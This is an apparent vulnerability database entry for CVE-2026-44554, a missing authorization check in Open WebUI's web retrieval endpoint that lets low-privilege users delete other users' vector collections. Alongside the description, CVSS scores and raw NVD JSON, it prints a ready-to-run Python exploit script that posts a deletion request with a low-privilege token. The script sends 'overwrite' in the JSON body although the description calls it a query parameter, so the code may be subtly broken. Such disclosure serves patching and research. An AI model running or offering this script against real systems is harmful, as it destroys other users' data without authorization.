CVE-2026-44554

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target:8080/api/v1/retrieval/process/web"

# Headers with low-privilege user token
headers = {
    "Authorization": "Bearer <LOW_PRIV_TOKEN>",
    "Content-Type": "application/json"
}

# Payload to delete a specific collection
# collection_name: ID of the target collection to delete
# overwrite: Must be True to trigger the deletion logic
payload = {
    "collection_name": "target_collection_id",
    "overwrite": True
}

# Send the request
response = requests.post(url, json=payload, headers=headers)

if response.status_code == 200:
    print("[+] Exploit successful: Collection likely deleted.")
else:
    print(f"[-] Exploit failed: {response.status_code} - {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44554
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44554
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44554/
[4] VulDB https://vuldb.com/cve/CVE-2026-44554
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-7r82-qhg4-6wvj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44554", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:46.840", "lastModified": "2026-05-15T20:16:46.840", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7r82-qhg4-6wvj", "source": "[email protected]"}]}}